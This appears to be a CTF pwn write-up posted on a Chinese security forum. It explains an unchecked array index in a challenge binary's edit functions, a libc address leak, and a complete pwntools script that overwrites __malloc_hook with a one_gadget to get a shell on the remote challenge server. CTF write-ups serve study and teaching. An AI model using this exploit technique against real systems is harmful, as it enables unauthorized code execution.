首页
社区
课程
招聘
[原创]第四题 拯救单身狗
2019-3-25 15:23 3840

[原创]第四题 拯救单身狗

2019-3-25 15:23
3840

这是一道pwn题,主要的逻辑如下:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 savedregs; // [rsp+10h] [rbp+0h]

  puts("This is a little game\n");
  puts("You can create a character and choose if he needs a partner.\n");
  while ( 1 )
  {
    menu("You can create a character and choose if he needs a partner.\n", argv);
    read_int("You can create a character and choose if he needs a partner.\n");
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        singledog();
        break;
      case 2u:
        luckydog();
        break;
      case 3u:
        edit_singledog();
        break;
      case 4u:
        edit_luckydog();
        break;
      case 5u:
        save_singledog();
        break;
      case 6u:
        exit(1);
        return;
      default:
        continue;
    }
  }
}

在edit_singledog(),edit_luckydog()中,没有对数组的界限进行限制,所以可以对任意地址进行读写,所以泄露libc基址是最先考虑的问题,由于题目没有提供libc版本,所以我这里泄露public stderr@@GLIBC_2_2_5(_IO_2_1stderr)地址进行分析。

unsigned __int64 edit_singledog()
{
  int v1; // [rsp+4h] [rbp-Ch]
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts("which?");
  v1 = read_int("which?");
  if ( two[v1] )
  {
    puts("Oh,singledog,changing your name can bring you good luck.");
    read(0, two[v1], 0x20uLL);
    printf("new name: %s", two[v1]);
  }
  else
  {
    puts("nothing here");
  }
  return __readfsqword(0x28u) ^ v2;
}

泄露的stderr地址后3位为680,利用网站https://libc.blukat.me 进行分析,得出结果如下:

libc6_2.27-3ubuntu1_amd64
libc6_2.28-0ubuntu1_amd64
libc6_2.29-0ubuntu1_amd64

将这三个libc版本分别下载,同时利用one_gadget进行读取,得到服务器的flag。

from pwn import *
import pdb


def get_libc_base_addr():
    p.recv()
    p.sendline("1")
    p.recv()
    p.sendline("test")
    p.recv()
    p.sendline("3")
    p.recv()
    p.sendline("-4")
    p.recv()
    p.sendline("fffffff")
    p.recv(18)
    leak_addr = p.recv(6)
    _IO_2_1_stderr_addr = (u64(leak_addr.ljust(8, "\x00")))- 0x83
    libc_base_addr = _IO_2_1_stderr_addr - elf.symbols['_IO_2_1_stderr_'] 
    p.recv()
    return libc_base_addr

def set_malloc_hook_gadget(libc_base_addr):
    p.sendline("2")
    p.recv()
    p.sendline("xxxx")
    p.recv()
    p.sendline("yyyy")
    p.recv()
    p.sendline("3")
    p.recv()
    p.sendline("80")
    p.recv()
    p.sendline(p64(libc_base_addr+elf.symbols['__malloc_hook']))
    p.recv()
    p.sendline("4")
    p.recv()
    p.sendline("0")
    p.recv()
    p.sendline("xxxx")
    p.recv()
    p.sendline(p64(libc_base_addr+0x10a38c))
    p.recv()

elf = ELF("/home/foyjog/Desktop/libc/libc6_2.27-3ubuntu1_amd64.so")
#elf = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process("./apwn")
p =  remote('211.159.175.39',8686)

pdb.set_trace()
libc_base_addr = get_libc_base_addr()
print hex(libc_base_addr)
set_malloc_hook_gadget(libc_base_addr)

p.sendline("1")
print p.recv()
p.interactive()

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回